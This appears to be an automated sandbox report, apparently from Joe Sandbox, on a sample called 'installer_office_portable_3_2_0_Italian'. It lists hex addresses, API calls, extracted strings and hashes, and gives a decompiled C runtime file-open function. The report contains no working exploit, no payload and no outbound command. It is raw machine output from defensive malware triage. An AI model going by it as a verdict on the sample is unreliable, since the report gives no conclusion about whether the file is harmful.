0x000c1d6d
0x000c1d75
0x000c1d8b
0x000c1d9e
0x000c1da6
0x000c1dbc
0x000c1dc4
0x000c1dda
0x000c1de2
0x000c1dee
0x000c1df7
0x000c1e00
0x000c1e08
0x000c1e19
0x000c1e21
0x000c1e30
0x000c1e38
0x000c1e40
0x000c1e4e
0x000c1e56
0x000c1e62
0x000c1e6a
0x000c1e75
0x000c1e80
0x000c1e8b
0x000c1e96
0x000c1ea1
0x000c1eac
0x000c1ebb
0x000c1ec2
0x000c1ec8
0x000c1edb
0x000c1ef0
0x000c1ef8
0x000c1f04
0x000c1f0c
0x000c1f15
0x000c1f1d
0x000c1f22
0x000c1f31
0x000c1f3a
0x000c1f3c
0x000c1f4f
0x000c1f64
0x000c1f6c
0x000c1f78
0x000c1f80
0x000c1f89
0x000c1f91
0x000c1f96
0x000c1fa5
0x000c1fae
0x000c1fb0
0x000c1fc3
0x000c1fd8
0x000c1fe0
0x000c1fec
0x000c1ff4
0x000c1ffd
0x000c2005
0x000c200a
0x000c2019
0x000c2022
0x000c2024
0x000c2037
0x000c2041
0x000c204c
0x000c2051
0x000c2054
0x000c2060
0x000c2068
0x000c2071
0x000c2076
0x000c2085
0x000c208e
0x000c2097
0x000c2099
0x000c2099
0x000c1cb5
0x000c209e
0x000c20a6
0x000c20af
0x000c20b4
0x000c20b4
0x000c20b7
0x000c20c2
0x000c20cd
0x000c20cd
0x000c1aca
0x000c20d5
0x000c20dd
0x000c20e6
0x000c20eb
0x000c20eb
0x000c20ee
0x000c20f6
0x000c2101
0x000c210c
0x000c2114
0x000c211d
0x000c2122
0x000c2122
0x000c2125
0x000c2130
0x000c213b
0x000c213b
0x000c2143
0x000c214b
0x000c2154
0x000c2159
0x000c2159
0x00000000
0x000c215c
0x000c181b
0x00000000
0x000c17a9
0x000c215e
0x000c2165
0x000c216d
0x000c216e
0x000c216f
0x000c2181
0x000c2181

APIs

Part of subcall function 000C2770: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 000C278A
Part of subcall function 000C2770: Process32First.KERNEL32(00000000,?), ref: 000C27A9
Part of subcall function 000C2770: Process32Next.KERNEL32 ref: 000C2801

Sleep.KERNELBASE(00000064), ref: 000C17CF
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 000C17ED
CreateDirectoryA.KERNELBASE(00000000,00000000), ref: 000C1886
swprintf.LIBCMT ref: 000C18B7
CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 000C18D6
FindCloseChangeNotification.KERNELBASE(00000000), ref: 000C18DD

Strings

value0, xrefs: 000C192A
value3, xrefs: 000C1B57
Installer.INI, xrefs: 000C1A48, 000C1F54
fondo.bmp, xrefs: 000C1AEE, 000C1BD0, 000C203C
/KEYWORD=, xrefs: 000C1D82
@, xrefs: 000C1E6A
value4, xrefs: 000C1C86
"/PATHFILES=, xrefs: 000C1D93
Installer.exe, xrefs: 000C1987, 000C1D38, 000C1EE0
<, xrefs: 000C1E62
value2, xrefs: 000C1A99
.zip, xrefs: 000C1B3A, 000C1C53
\temp\, xrefs: 000C1850
value1, xrefs: 000C19F0
%s%d.txt, xrefs: 000C18A5
header.bmp, xrefs: 000C1C11, 000C1CF5, 000C1FC8

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: Create$Process32$ChangeCloseDirectoryFileFindFirstFolderNextNotificationPathSleepSnapshotToolhelp32swprintf
String ID: "/PATHFILES=$%s%d.txt$.zip$/KEYWORD=$<$@$Installer.INI$Installer.exe$\temp\$fondo.bmp$header.bmp$value0$value1$value2$value3$value4
API String ID: 1228003746-474147278
Opcode ID: d9f1db3ab59261a40fa105114be1df9e6fb6b8a82824355b1b99e6198a5761e7
Instruction ID: edf5d0f1b4c021d40f43ff19a0b7fa418ed68d4e95c048e8a1dbfa350b0f5514
Opcode Fuzzy Hash: d9f1db3ab59261a40fa105114be1df9e6fb6b8a82824355b1b99e6198a5761e7
Instruction Fuzzy Hash: D9327C71108381DBE331EB14CC45FDFB7E8AB95314F504A2CE59A562C2DBB16248CBA3

Uniqueness

Uniqueness Score: -1.00%

Function 000DF77A, Relevance: 38.1, APIs: 25, Instructions: 614
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 86%

			E000DF77A(void* __ebx, void* __esi, signed int _a4, signed int _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20, signed int _a24) {
				signed int _v0;
				signed int _v5;
				signed int _v6;
				signed int _v7;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void* _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				char _v60;
				void* __edi;
				void* __ebp;
				void* _t202;
				void* _t204;
				signed int _t207;
				signed short _t208;
				signed short _t210;
				void* _t215;
				signed int _t217;
				signed int _t219;
				signed int _t220;
				signed int _t221;
				void* _t224;
				signed int _t225;
				signed int _t234;
				signed int _t246;
				intOrPtr _t249;
				intOrPtr _t259;
				signed int _t261;
				signed int _t263;
				signed int _t265;
				void* _t270;
				signed int _t273;
				signed int _t275;
				void* _t278;
				signed int _t279;
				signed int* _t282;
				signed int _t283;
				signed int _t285;
				signed int _t290;
				signed int _t291;
				signed int _t293;
				signed int _t294;
				void* _t296;
				intOrPtr _t309;
				signed int _t316;
				signed int _t317;
				signed int* _t322;
				signed int _t324;
				signed int _t325;
				signed int _t326;
				signed int _t327;
				void* _t329;
				signed int* _t333;
				signed int _t336;
				void* _t337;
				signed int _t340;
				signed int _t342;
				signed char _t344;
				signed char _t353;
				signed char _t359;
				signed int _t368;
				signed int _t370;
				signed int _t372;
				signed int _t380;
				signed int _t381;
				signed int _t383;
				void* _t385;
				signed int _t386;
				void* _t387;
				signed int _t389;
				signed int _t390;
				signed int _t392;
				signed int _t398;
				signed int _t400;
				signed int _t405;
				signed int _t406;
				signed int* _t407;
				void* _t409;
				signed int _t410;
				signed short _t411;
				void* _t413;
				signed int _t416;
				signed int _t420;
				signed int _t423;
				signed int _t424;
				void* _t427;
				void* _t429;
				void* _t431;

				_t409 = __esi;
				_push(__ebx);
				_t336 = 0;
				_v36 = 0;
				_v6 = 0;
				_v60 = 0xc;
				_v56 = 0;
				if((_a16 & 0x00000080) == 0) {
					_v52 = 1;
					_v5 = 0;
				} else {
					_v52 = 0;
					_v5 = 0x10;
				}
				_t202 = E000E0DB6( &_v36);
				_pop(_t341);
				if(_t202 != 0) {
					_push(_t336);
					_push(_t336);
					_push(_t336);
					_push(_t336);
					_push(_t336);
					E000D3472(_t336, _t385);
					asm("int3");
					__eflags =  *0xf1970;
					_push(_t403);
					if( *0xf1970 != 0) {
						_t204 = E000DFF7F(_t385, _v0, _a4, _a8, 0);
					} else {
						_t405 = _a8;
						_t204 = 0;
						__eflags = _t405;
						if(_t405 != 0) {
							_t386 = _v0;
							__eflags = _t386;
							if(__eflags != 0) {
								_t342 = _a4;
								__eflags = _t342;
								if(__eflags == 0) {
									goto L153;
								} else {
									_push(_t336);
									_push(_t409);
									_t337 = 0x41;
									_t410 = 0x5a;
									_t387 = _t386 - _t342;
									_v12 = _t410;
									while(1) {
										_t207 =  *(_t387 + _t342) & 0x0000ffff;
										__eflags = _t207 - _t337;
										if(_t207 < _t337) {
											goto L160;
										}
										__eflags = _t207 - _t410;
										if(_t207 > _t410) {
											goto L160;
										} else {
											_t411 = _t207 + 0x00000020 & 0x0000ffff;
										}
										L161:
										_t208 =  *_t342 & 0x0000ffff;
										__eflags = _t208 - _t337;
										if(_t208 >= _t337) {
											__eflags = _t208 - _v12;
											if(_t208 <= _v12) {
												_t210 = _t208 + 0x20;
												__eflags = _t210;
												_t208 = _t210 & 0x0000ffff;
											}
										}
										_t342 = _t342 + 2;
										_t405 = _t405 - 1;
										__eflags = _t405;
										if(_t405 != 0) {
											__eflags = _t411;
											if(_t411 != 0) {
												__eflags = _t411 - _t208;
												if(_t411 == _t208) {
													_t410 = 0x5a;
													continue;
												}
											}
										}
										_t204 = (_t411 & 0x0000ffff) - (_t208 & 0x0000ffff);
										goto L169;
										L160:
										_t411 = _t207;
										goto L161;
									}
								}
							} else {
								L153:
								 *(E000D1261(__eflags)) = 0x16;
								E000D3462();
								_t204 = 0x7fffffff;
							}
						}
					}
					L169:
					return _t204;
				} else {
					_t344 = _a16;
					if((0x00008000 & _t344) == 0 && ((_t344 & 0x00074000) != 0 || _v36 != 0x8000)) {
						_v5 = _v5 | 0x00000080;
					}
					_t215 = (_t344 & 0x00000003) - _t336;
					if(_t215 == 0) {
						_t406 = 0x80000000;
						goto L18;
					} else {
						_t329 = _t215 - 1;
						if(_t329 == 0) {
							__eflags = _t344 & 0x00000008;
							if((_t344 & 0x00000008) == 0) {
								L16:
								_t406 = 0x40000000;
								goto L18;
							} else {
								__eflags = _t344 & 0x00070000;
								if((_t344 & 0x00070000) == 0) {
									goto L16;
								} else {
									_t406 = 0xc0000000;
									_v12 = 0xc0000000;
								}
							}
							goto L19;
						} else {
							_t440 = _t329 == 1;
							if(_t329 == 1) {
								_t406 = 0xc0000000;
								L18:
								_v12 = _t406;
								L19:
								_push(_t409);
								_t413 = 0x10;
								_t389 = 2;
								_v44 = _t389;
								_t217 = _a20 - _t413;
								__eflags = _t217;
								if(_t217 == 0) {
									_v16 = _t336;
									goto L29;
								} else {
									_t324 = _t217 - _t413;
									__eflags = _t324;
									if(_t324 == 0) {
										_v16 = 1;
										goto L29;
									} else {
										_t325 = _t324 - _t413;
										__eflags = _t325;
										if(_t325 == 0) {
											_v16 = _t389;
											goto L29;
										} else {
											_t326 = _t325 - _t413;
											__eflags = _t326;
											if(_t326 == 0) {
												_v16 = 3;
												goto L29;
											} else {
												_t327 = _t326 - 0x40;
												__eflags = _t327;
												if(__eflags != 0) {
													L42:
													 *(E000D122D(__eflags)) = _t336;
													 *_a8 =  *_a8 | 0xffffffff;
													_t322 = E000D1261(__eflags);
													_t336 = 0x16;
													 *_t322 = _t336;
													E000D3462();
													goto L148;
												} else {
													__eflags = _t406 - 0x80000000;
													_v16 = _t327 & 0xffffff00 | _t406 == 0x80000000;
													L29:
													_t219 = _t344 & 0x00000700;
													__eflags = _t219 - 0x400;
													if(__eflags > 0) {
														__eflags = _t219 - 0x500;
														if(_t219 == 0x500) {
															L44:
															_t416 = 1;
															__eflags = 1;
															goto L45;
														} else {
															__eflags = _t219 - 0x600;
															if(_t219 == 0x600) {
																goto L43;
															} else {
																__eflags = _t219 - 0x700;
																if(__eflags == 0) {
																	goto L44;
																} else {
																	goto L42;
																}
															}
														}
													} else {
														if(__eflags == 0) {
															L37:
															_push(3);
															goto L38;
														} else {
															__eflags = _t219;
															if(_t219 == 0) {
																goto L37;
															} else {
																__eflags = _t219 - 0x100;
																if(_t219 == 0x100) {
																	_push(4);
																	goto L38;
																} else {
																	__eflags = _t219 - 0x200;
																	if(_t219 == 0x200) {
																		L43:
																		_push(5);
																		L38:
																		_pop(_t416);
																		goto L45;
																	} else {
																		__eflags = _t219 - 0x300;
																		if(__eflags != 0) {
																			goto L42;
																		} else {
																			_t416 = _t389;
																			L45:
																			_t390 = 0x80;
																			_t220 = _t336;
																			_v28 = 0x80;
																			_v20 = _t220;
																			__eflags = _t344 & 0x00000100;
																			if((_t344 & 0x00000100) != 0) {
																				_t317 =  *0xf10d4; // 0x0
																				__eflags =  !_t317 & _a24;
																				_t220 = _t336;
																				if(( !_t317 & _a24) >= 0) {
																					_t390 = 1;
																					__eflags = 1;
																					_v28 = 1;
																				}
																			}
																			__eflags = _t344 & 0x00000040;
																			if((_t344 & 0x00000040) != 0) {
																				_t406 = _t406 | 0x00010000;
																				_t46 =  &_v16;
																				 *_t46 = _v16 | 0x00000004;
																				__eflags =  *_t46;
																				_t220 = 0x4000000;
																				_v20 = 0x4000000;
																				_v12 = _t406;
																			}
																			__eflags = _t344 & 0x00001000;
																			if((_t344 & 0x00001000) != 0) {
																				_t390 = _t390 | 0x00000100;
																				__eflags = _t390;
																				_v28 = _t390;
																			}
																			__eflags = _t344 & 0x00002000;
																			if((_t344 & 0x00002000) != 0) {
																				_t220 = _t220 | 0x02000000;
																				__eflags = _t220;
																				_v20 = _t220;
																			}
																			__eflags = _t344 & 0x00000020;
																			if(__eflags == 0) {
																				__eflags = _t344 & 0x00000010;
																				if(__eflags != 0) {
																					_t316 = _t220 | 0x10000000;
																					__eflags = _t316;
																					goto L58;
																				}
																			} else {
																				_t316 = _t220 | 0x08000000;
																				L58:
																				_v20 = _t316;
																			}
																			_t221 = E000DDC3E(_t336, _t390, _t406, _t416, __eflags);
																			_t407 = _a8;
																			 *_t407 = _t221;
																			__eflags = _t221 - 0xffffffff;
																			if(__eflags != 0) {
																				 *_a4 = 1;
																				_t224 = E000DF6E9(__eflags, _a12, _v12, _v16,  &_v60, _t416, _v28, _v20); // executed
																				_t429 = _t427 + 0x1c;
																				_v32 = _t224;
																				__eflags = _t224 - 0xffffffff;
																				if(_t224 != 0xffffffff) {
																					L70:
																					_t225 = GetFileType(_t224); // executed
																					__eflags = _t225;
																					if(_t225 != 0) {
																						__eflags = _t225 - 2;
																						if(_t225 != 2) {
																							__eflags = _t225 - 3;
																							if(_t225 == 3) {
																								_t96 =  &_v5;
																								 *_t96 = _v5 | 0x00000008;
																								__eflags =  *_t96;
																							}
																						} else {
																							_v5 = _v5 | 0x00000040;
																						}
																						E000DDED0(_t416,  *_t407, _v32);
																						_t392 = _v5 | 0x00000001;
																						 *( *((intOrPtr*)(0xf1760 + ( *_t407 >> 5) * 4)) + (( *_t407 & 0x0000001f) << 6) + 4) = _t392;
																						_v5 = _t392;
																						 *( *((intOrPtr*)(0xf1760 + ( *_t407 >> 5) * 4)) + (( *_t407 & 0x0000001f) << 6) + 0x24) =  *( *((intOrPtr*)(0xf1760 + ( *_t407 >> 5) * 4)) + (( *_t407 & 0x0000001f) << 6) + 0x24) & 0x00000080;
																						_t353 = _a16;
																						_t234 = _t392 & 0x00000048;
																						__eflags = _t234;
																						_v7 = _t234;
																						if(_t234 != 0) {
																							L88:
																							__eflags = _t392;
																							if(_t392 >= 0) {
																								goto L140;
																							} else {
																								__eflags = _t353 & 0x00074000;
																								if((_t353 & 0x00074000) == 0) {
																									_t290 = _v36 & 0x00074000;
																									__eflags = _t290;
																									if(_t290 != 0) {
																										_t353 = _t353 | _t290;
																										__eflags = _t353;
																									} else {
																										_t353 = _t353 | 0x00004000;
																									}
																									_a16 = _t353;
																								}
																								_t261 = _t353 & 0x00074000;
																								__eflags = _t261 - 0x4000;
																								if(_t261 == 0x4000) {
																									_v6 = _t336;
																								} else {
																									__eflags = _t261 - 0x10000;
																									if(_t261 == 0x10000) {
																										L102:
																										__eflags = (_t353 & 0x00000301) - 0x301;
																										if((_t353 & 0x00000301) == 0x301) {
																											goto L103;
																										}
																									} else {
																										__eflags = _t261 - 0x14000;
																										if(_t261 == 0x14000) {
																											goto L102;
																										} else {
																											__eflags = _t261 - 0x20000;
																											if(_t261 == 0x20000) {
																												L103:
																												_v6 = 2;
																											} else {
																												__eflags = _t261 - 0x24000;
																												if(_t261 == 0x24000) {
																													goto L103;
																												} else {
																													__eflags = _t261 - 0x40000;
																													if(_t261 == 0x40000) {
																														L101:
																														_v6 = 1;
																													} else {
																														__eflags = _t261 - 0x44000;
																														if(_t261 == 0x44000) {
																															goto L101;
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																								__eflags = _t353 & 0x00070000;
																								if((_t353 & 0x00070000) == 0) {
																									goto L140;
																								} else {
																									_v24 = _t336;
																									__eflags = _t392 & 0x00000040;
																									if((_t392 & 0x00000040) != 0) {
																										goto L140;
																									} else {
																										_t263 = _v12 & 0xc0000000;
																										__eflags = _t263 - 0x40000000;
																										if(_t263 == 0x40000000) {
																											__eflags = _t416;
																											if(_t416 == 0) {
																												goto L140;
																											} else {
																												_t372 = 2;
																												__eflags = _t416 - 0xc0000000;
																												if(_t416 <= 0xc0000000) {
																													goto L134;
																												} else {
																													__eflags = _t416 - 4;
																													if(__eflags > 0) {
																														goto L113;
																													} else {
																														_t273 = E000D643C(_t372, __eflags,  *_t407, _t336, _t336, 0xc0000000);
																														_t429 = _t429 + 0x10;
																														__eflags = _t273 | _t392;
																														if(__eflags == 0) {
																															goto L133;
																														} else {
																															goto L131;
																														}
																													}
																												}
																											}
																										} else {
																											__eflags = _t263 - 0x80000000;
																											if(_t263 == 0x80000000) {
																												L117:
																												_push(3);
																												_push( &_v24);
																												_push( *_t407);
																												_t278 = E000DD423();
																												_t429 = _t429 + 0xc;
																												__eflags = _t278 - 0xffffffff;
																												if(__eflags == 0) {
																													goto L82;
																												} else {
																													_t372 = _v24;
																													_t392 = 2;
																													__eflags = _t278 - _t392;
																													if(_t278 == _t392) {
																														L122:
																														_t372 = _t372 & 0x0000ffff;
																														__eflags = _t372 - 0xfffe;
																														if(__eflags != 0) {
																															__eflags = _t372 - 0xfeff;
																															if(__eflags != 0) {
																																goto L131;
																															} else {
																																_t279 = E000D643C(_t372, __eflags,  *_t407, _t392, _t336, _t336);
																																_t429 = _t429 + 0x10;
																																__eflags = (_t279 & _t392) - 0xffffffff;
																																if(__eflags == 0) {
																																	goto L82;
																																} else {
																																	_v6 = 2;
																																	goto L140;
																																}
																															}
																														} else {
																															E000D668D(__eflags,  *_t407);
																															_t282 = E000D1261(__eflags);
																															_t336 = 0x16;
																															 *_t282 = _t336;
																														}
																													} else {
																														__eflags = _t278 - 3;
																														if(__eflags != 0) {
																															L131:
																															_t275 = E000D643C(_t372, __eflags,  *_t407, _t336, _t336, _t336);
																															_t429 = _t429 + 0x10;
																															__eflags = (_t275 & _t392) - 0xffffffff;
																															if(__eflags != 0) {
																																goto L140;
																															} else {
																																goto L82;
																															}
																														} else {
																															__eflags = _t372 - 0xbfbbef;
																															if(_t372 != 0xbfbbef) {
																																goto L122;
																															} else {
																																_v6 = 1;
																																goto L140;
																															}
																														}
																													}
																												}
																											} else {
																												__eflags = _t263 - 0xc0000000;
																												if(_t263 != 0xc0000000) {
																													goto L140;
																												} else {
																													__eflags = _t416;
																													if(_t416 == 0) {
																														goto L140;
																													} else {
																														_t372 = 2;
																														__eflags = _t416 - 0xc0000000;
																														if(_t416 <= 0xc0000000) {
																															L134:
																															_t423 = _t336;
																															_t265 = _v6 - 1;
																															__eflags = _t265;
																															if(__eflags == 0) {
																																_t372 = 3;
																																_v24 = 0xbfbbef;
																																_v44 = _t372;
																																goto L138;
																															} else {
																																__eflags = _t265 - 1;
																																if(__eflags != 0) {
																																	goto L140;
																																} else {
																																	_v24 = 0xfeff;
																																	while(1) {
																																		L138:
																																		_push(_t372 - _t423);
																																		_push( &_v24 + _t423);
																																		_push( *_t407);
																																		_t270 = E000D5615(_t336, _t392, _t407, _t423, __eflags);
																																		_t429 = _t429 + 0xc;
																																		__eflags = _t270 - 0xffffffff;
																																		if(__eflags == 0) {
																																			goto L82;
																																		}
																																		_t372 = _v44;
																																		_t423 = _t423 + _t270;
																																		__eflags = _t372 - _t423;
																																		if(__eflags > 0) {
																																			continue;
																																		} else {
																																			goto L140;
																																		}
																																		goto L148;
																																	}
																																	goto L82;
																																}
																															}
																														} else {
																															__eflags = _t416 - 4;
																															if(__eflags <= 0) {
																																_t283 = E000D643C(_t372, __eflags,  *_t407, _t336, _t336, 0xc0000000);
																																_t429 = _t429 + 0x10;
																																__eflags = _t283 | _t392;
																																if(__eflags == 0) {
																																	L133:
																																	_t372 = 2;
																																	goto L134;
																																} else {
																																	_t285 = E000D643C(_t372, __eflags,  *_t407, _t336, _t336, _t336);
																																	_t429 = _t429 + 0x10;
																																	__eflags = (_t285 & _t392) - 0xffffffff;
																																	if(__eflags == 0) {
																																		goto L82;
																																	} else {
																																		goto L117;
																																	}
																																}
																															} else {
																																L113:
																																__eflags = _t416 - 5;
																																if(_t416 == 5) {
																																	goto L134;
																																} else {
																																	goto L140;
																																}
																															}
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																							}
																						} else {
																							__eflags = _t392;
																							if(_t392 >= 0) {
																								L140:
																								 *( *((intOrPtr*)(0xf1760 + ( *_t407 >> 5) * 4)) + (( *_t407 & 0x0000001f) << 6) + 0x24) =  *( *((intOrPtr*)(0xf1760 + ( *_t407 >> 5) * 4)) + (( *_t407 & 0x0000001f) << 6) + 0x24) ^ ( *( *((intOrPtr*)(0xf1760 + ( *_t407 >> 5) * 4)) + (( *_t407 & 0x0000001f) << 6) + 0x24) ^ _v6) & 0x0000007f;
																								 *( *((intOrPtr*)(0xf1760 + ( *_t407 >> 5) * 4)) + (( *_t407 & 0x0000001f) << 6) + 0x24) = _a16 >> 0x00000010 << 0x00000007 |  *( *((intOrPtr*)(0xf1760 + ( *_t407 >> 5) * 4)) + (( *_t407 & 0x0000001f) << 6) + 0x24) & 0x0000007f;
																								_t359 = _a16;
																								__eflags = _v7 - _t336;
																								if(_v7 == _t336) {
																									__eflags = _t359 & 0x00000008;
																									if((_t359 & 0x00000008) != 0) {
																										_t368 =  *_t407;
																										_t259 =  *((intOrPtr*)(0xf1760 + (_t368 >> 5) * 4));
																										_t370 = (_t368 & 0x0000001f) << 6;
																										_t169 = _t259 + _t370 + 4;
																										 *_t169 =  *(_t259 + _t370 + 4) | 0x00000020;
																										__eflags =  *_t169;
																										_t359 = _a16;
																									}
																								}
																								_t420 = _v12;
																								__eflags = (_t420 & 0xc0000000) - 0xc0000000;
																								if((_t420 & 0xc0000000) == 0xc0000000) {
																									__eflags = _t359 & 0x00000001;
																									if(__eflags != 0) {
																										CloseHandle(_v32);
																										_t249 = E000DF6E9(__eflags, _a12, _t420 & 0x7fffffff, _v16,  &_v60, 3, _v28, _v20);
																										__eflags = _t249 - 0xffffffff;
																										if(_t249 != 0xffffffff) {
																											_t398 =  *_t407;
																											_t400 = (_t398 & 0x0000001f) << 6;
																											__eflags = _t400;
																											 *((intOrPtr*)(_t400 +  *((intOrPtr*)(0xf1760 + (_t398 >> 5) * 4)))) = _t249;
																										} else {
																											E000D1240(GetLastError());
																											 *( *((intOrPtr*)(0xf1760 + ( *_t407 >> 5) * 4)) + (( *_t407 & 0x0000001f) << 6) + 4) =  *( *((intOrPtr*)(0xf1760 + ( *_t407 >> 5) * 4)) + (( *_t407 & 0x0000001f) << 6) + 4) & 0x000000fe;
																											E000DDDE3( *_t407);
																											goto L68;
																										}
																									}
																								}
																							} else {
																								__eflags = _t353 & 0x00000002;
																								if(__eflags == 0) {
																									goto L88;
																								} else {
																									_t291 = E000D643C(_t353, __eflags,  *_t407, 0xffffffff, 0xffffffff, 2);
																									_t375 = _t291 & _t392;
																									_t429 = _t429 + 0x10;
																									_v48 = _t291;
																									_v24 = _t392;
																									__eflags = (_t291 & _t392) - 0xffffffff;
																									if(__eflags != 0) {
																										_push(1);
																										_push( &_v40);
																										_push( *_t407);
																										_v40 = _t336;
																										_t293 = E000DD423();
																										_t431 = _t429 + 0xc;
																										__eflags = _t293;
																										if(__eflags != 0) {
																											L86:
																											_t294 = E000D643C(_t375, __eflags,  *_t407, _t336, _t336, _t336);
																											_t429 = _t431 + 0x10;
																											__eflags = (_t294 & _t392) - 0xffffffff;
																											if(__eflags == 0) {
																												goto L82;
																											} else {
																												goto L87;
																											}
																										} else {
																											__eflags = _v40 - 0x1a;
																											if(__eflags != 0) {
																												goto L86;
																											} else {
																												_t296 = E000E0C02(_t375, _t392, __eflags,  *_t407, _v48, _v24);
																												_t431 = _t431 + 0xc;
																												__eflags = _t296 - 0xffffffff;
																												if(__eflags == 0) {
																													goto L82;
																												} else {
																													goto L86;
																												}
																											}
																										}
																									} else {
																										__eflags =  *(E000D122D(__eflags)) - 0x83;
																										if(__eflags == 0) {
																											L87:
																											_t392 = _v5;
																											_t353 = _a16;
																											goto L88;
																										} else {
																											L82:
																											E000D668D(__eflags,  *_t407);
																											goto L68;
																										}
																									}
																								}
																							}
																						}
																					} else {
																						 *( *((intOrPtr*)(0xf1760 + ( *_t407 >> 5) * 4)) + (( *_t407 & 0x0000001f) << 6) + 4) =  *( *((intOrPtr*)(0xf1760 + ( *_t407 >> 5) * 4)) + (( *_t407 & 0x0000001f) << 6) + 4) & 0x000000fe;
																						_t424 = GetLastError();
																						E000D1240(_t424);
																						CloseHandle(_v32);
																						__eflags = _t424;
																						if(__eflags == 0) {
																							 *(E000D1261(__eflags)) = 0xd;
																						}
																						goto L69;
																					}
																				} else {
																					_t380 = _v12;
																					__eflags = (_t380 & 0xc0000000) - 0xc0000000;
																					if((_t380 & 0xc0000000) != 0xc0000000) {
																						L67:
																						_t381 =  *_t407;
																						_t309 =  *((intOrPtr*)(0xf1760 + (_t381 >> 5) * 4));
																						_t383 = (_t381 & 0x0000001f) << 6;
																						_t83 = _t309 + _t383 + 4;
																						 *_t83 =  *(_t309 + _t383 + 4) & 0x000000fe;
																						__eflags =  *_t83;
																						E000D1240(GetLastError());
																						L68:
																						L69:
																						_t336 =  *(E000D1261(__eflags));
																					} else {
																						__eflags = _a16 & 0x00000001;
																						if(__eflags == 0) {
																							goto L67;
																						} else {
																							_v12 = _t380 & 0x7fffffff;
																							_t224 = E000DF6E9(__eflags, _a12, _t380 & 0x7fffffff, _v16,  &_v60, _t416, _v28, _v20);
																							_t429 = _t429 + 0x1c;
																							_v32 = _t224;
																							__eflags = _t224 - 0xffffffff;
																							if(_t224 != 0xffffffff) {
																								goto L70;
																							} else {
																								goto L67;
																							}
																						}
																					}
																				}
																				L148:
																				_t246 = _t336;
																			} else {
																				 *(E000D122D(__eflags)) = _t336;
																				 *_t407 =  *_t407 | 0xffffffff;
																				__eflags =  *_t407;
																				 *(E000D1261(__eflags)) = 0x18;
																				_t246 =  *(E000D1261(__eflags));
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							} else {
								 *(E000D122D(_t440)) = _t336;
								 *_a8 =  *_a8 | 0xffffffff;
								_t333 = E000D1261(_t440);
								_t340 = 0x16;
								 *_t333 = _t340;
								E000D3462();
								_t246 = _t340;
							}
						}
					}
					return _t246;
				}
			}

0x000df77a
0x000df780
0x000df781
0x000df788
0x000df78b
0x000df78e
0x000df795
0x000df798
0x000df7a3
0x000df7aa
0x000df79a
0x000df79a
0x000df79d
0x000df79d
0x000df7b1
0x000df7b6
0x000df7b9
0x000dfec0
0x000dfec1
0x000dfec2
0x000dfec3
0x000dfec4
0x000dfec5
0x000dfeca
0x000dfecf
0x000dfed6
0x000dfed7
0x000dff74
0x000dfedd
0x000dfedd
0x000dfee0
0x000dfee2
0x000dfee4
0x000dfeea
0x000dfeed
0x000dfeef
0x000dff08
0x000dff0b
0x000dff0d
0x00000000
0x000dff0f
0x000dff0f
0x000dff10
0x000dff13
0x000dff16
0x000dff17
0x000dff19
0x000dff21
0x000dff21
0x000dff25
0x000dff28
0x00000000
0x00000000
0x000dff2a
0x000dff2d
0x00000000
0x000dff2f
0x000dff32
0x000dff32
0x000dff39
0x000dff39
0x000dff3c
0x000dff3f
0x000dff41
0x000dff45
0x000dff47
0x000dff47
0x000dff4a
0x000dff4a
0x000dff45
0x000dff4d
0x000dff50
0x000dff50
0x000dff51
0x000dff53
0x000dff56
0x000dff58
0x000dff5b
0x000dff20
0x00000000
0x000dff20
0x000dff5b
0x000dff56
0x000dff64
0x00000000
0x000dff37
0x000dff37
0x00000000
0x000dff37
0x000dff21
0x000dfef1
0x000dfef1
0x000dfef6
0x000dfefc
0x000dff01
0x000dff01
0x000dfeef
0x000dfee4
0x000dff7c
0x000dff7e
0x000df7bf
0x000df7bf
0x000df7c9
0x000df7d8
0x000df7d8
0x000df7e6
0x000df7e8
0x000df832
0x00000000
0x000df7ea
0x000df7ea
0x000df7eb
0x000df817
0x000df81a
0x000df82b
0x000df82b
0x00000000
0x000df81c
0x000df81c
0x000df822
0x00000000
0x000df824
0x000df824
0x000df826
0x000df826
0x000df822
0x00000000
0x000df7ed
0x000df7ed
0x000df7ee
0x000df813
0x000df837
0x000df837
0x000df83a
0x000df83d
0x000df840
0x000df843
0x000df844
0x000df847
0x000df847
0x000df849
0x000df881
0x00000000
0x000df84b
0x000df84b
0x000df84b
0x000df84d
0x000df878
0x00000000
0x000df84f
0x000df84f
0x000df84f
0x000df851
0x000df873
0x00000000
0x000df853
0x000df853
0x000df853
0x000df855
0x000df86a
0x00000000
0x000df857
0x000df857
0x000df857
0x000df85a
0x000df8d1
0x000df8d6
0x000df8db
0x000df8de
0x000df8e5
0x000df8e6
0x000df8e8
0x00000000
0x000df85c
0x000df85c
0x000df865
0x000df884
0x000df886
0x000df890
0x000df892
0x000df8bc
0x000df8c1
0x000df8f6
0x000df8f8
0x000df8f8
0x00000000
0x000df8c3
0x000df8c3
0x000df8c8
0x00000000
0x000df8ca
0x000df8ca
0x000df8cf
0x00000000
0x00000000
0x00000000
0x00000000
0x000df8cf
0x000df8c8
0x000df894
0x000df894
0x000df8b7
0x000df8b7
0x00000000
0x000df896
0x000df896
0x000df898
0x00000000
0x000df89a
0x000df89a
0x000df89f
0x000df8b3
0x00000000
0x000df8a1
0x000df8a1
0x000df8a6
0x000df8f2
0x000df8f2
0x000df8b9
0x000df8b9
0x00000000
0x000df8a8
0x000df8a8
0x000df8ad
0x00000000
